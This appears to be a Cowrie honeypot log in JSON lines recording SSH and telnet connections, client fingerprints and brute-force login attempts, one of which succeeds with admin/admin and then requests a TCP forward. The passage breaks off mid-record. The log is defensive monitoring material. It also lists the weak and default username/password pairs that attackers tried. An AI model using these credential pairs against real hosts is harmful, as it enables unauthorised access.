{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:05:00.548677Z","src_ip":"194.113.233.25","session":"4373c40b7df3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"danila2000","message":"login attempt [root/danila2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:05:00.828255Z","src_ip":"194.113.233.25","session":"4373c40b7df3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:05:01.925728Z","src_ip":"194.113.233.25","session":"4373c40b7df3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":35046,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdbeff4bc101","protocol":"ssh","message":"New connection: 89.223.69.22:35046 (10.17.0.5:22) [session: bdbeff4bc101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:05:15.814734Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":38138,"dst_ip":"159.203.135.109","dst_port":22,"session":"85b1bc63ec76","protocol":"ssh","message":"New connection: 103.27.238.120:38138 (159.203.135.109:22) [session: 85b1bc63ec76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:06:04.653845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:06:04.658120Z","src_ip":"103.27.238.120","session":"85b1bc63ec76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:06:04.922320Z","src_ip":"103.27.238.120","session":"85b1bc63ec76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"250119","message":"login attempt [root/250119] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:06:05.723033Z","src_ip":"103.27.238.120","session":"85b1bc63ec76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:06:06.990690Z","src_ip":"103.27.238.120","session":"85b1bc63ec76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":56058,"dst_ip":"10.17.0.5","dst_port":22,"session":"949b1d8d98e0","protocol":"ssh","message":"New connection: 147.45.211.215:56058 (10.17.0.5:22) [session: 949b1d8d98e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:06:12.921839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:06:12.926632Z","src_ip":"147.45.211.215","session":"949b1d8d98e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:06:13.109220Z","src_ip":"147.45.211.215","session":"949b1d8d98e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"castor","message":"login attempt [root/castor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:06:13.640580Z","src_ip":"147.45.211.215","session":"949b1d8d98e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:06:14.818865Z","src_ip":"147.45.211.215","session":"949b1d8d98e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":47352,"dst_ip":"159.203.135.109","dst_port":22,"session":"16217f10dcc7","protocol":"ssh","message":"New connection: 92.207.4.157:47352 (159.203.135.109:22) [session: 16217f10dcc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:06:32.378284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:06:32.382705Z","src_ip":"92.207.4.157","session":"16217f10dcc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:06:32.473188Z","src_ip":"92.207.4.157","session":"16217f10dcc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeakadmin","message":"login attempt [teamspeak/teamspeakadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:06:32.874130Z","src_ip":"92.207.4.157","session":"16217f10dcc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:06:33.967514Z","src_ip":"92.207.4.157","session":"16217f10dcc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54628,"dst_ip":"10.17.0.5","dst_port":22,"session":"211d6f7ad659","protocol":"ssh","message":"New connection: 103.153.68.219:54628 (10.17.0.5:22) [session: 211d6f7ad659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:07:12.809458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:07:12.817420Z","src_ip":"103.153.68.219","session":"211d6f7ad659","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:07:13.062380Z","src_ip":"103.153.68.219","session":"211d6f7ad659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"888888881","message":"login attempt [root/888888881] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:07:13.799090Z","src_ip":"103.153.68.219","session":"211d6f7ad659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:07:15.047137Z","src_ip":"103.153.68.219","session":"211d6f7ad659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:07:15.819867Z","src_ip":"89.223.69.22","session":"bdbeff4bc101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57020,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b1376083e77","protocol":"telnet","message":"New connection: 172.81.62.90:57020 (159.203.135.109:23) [session: 5b1376083e77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:07:59.015930Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57068,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a31b5fe3031","protocol":"telnet","message":"New connection: 172.81.62.90:57068 (159.203.135.109:23) [session: 2a31b5fe3031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:08:04.566162Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":54016,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbdbf01a05da","protocol":"ssh","message":"New connection: 27.71.230.31:54016 (10.17.0.5:22) [session: bbdbf01a05da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:08:37.132987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:08:37.886739Z","src_ip":"27.71.230.31","session":"bbdbf01a05da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:08:38.370784Z","src_ip":"27.71.230.31","session":"bbdbf01a05da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.86024498939514,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:08:39.876055Z","src_ip":"172.81.62.90","session":"5b1376083e77","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin12","message":"login attempt [root/Admin12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:08:40.625889Z","src_ip":"27.71.230.31","session":"bbdbf01a05da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:08:42.714961Z","src_ip":"27.71.230.31","session":"bbdbf01a05da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.84819722175598,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:08:43.414222Z","src_ip":"172.81.62.90","session":"2a31b5fe3031","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7074,"dst_ip":"10.17.0.5","dst_port":22,"session":"6397ce66c337","protocol":"ssh","message":"New connection: 87.251.64.176:7074 (10.17.0.5:22) [session: 6397ce66c337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:09:15.011649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:09:15.015876Z","src_ip":"87.251.64.176","session":"6397ce66c337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:09:15.108990Z","src_ip":"87.251.64.176","session":"6397ce66c337","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:09:15.478994Z","src_ip":"87.251.64.176","session":"6397ce66c337","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:09:15.576880Z","session":"6397ce66c337","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:09:15.674474Z","src_ip":"87.251.64.176","session":"6397ce66c337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:09:15.769895Z","src_ip":"87.251.64.176","session":"6397ce66c337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57338,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4d267248ee1","protocol":"telnet","message":"New connection: 172.81.62.90:57338 (159.203.135.109:23) [session: a4d267248ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:09:35.031590Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":50880,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab64899c0fcb","protocol":"ssh","message":"New connection: 27.71.230.31:50880 (159.203.135.109:22) [session: ab64899c0fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:03.003414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:03.014688Z","src_ip":"27.71.230.31","session":"ab64899c0fcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-c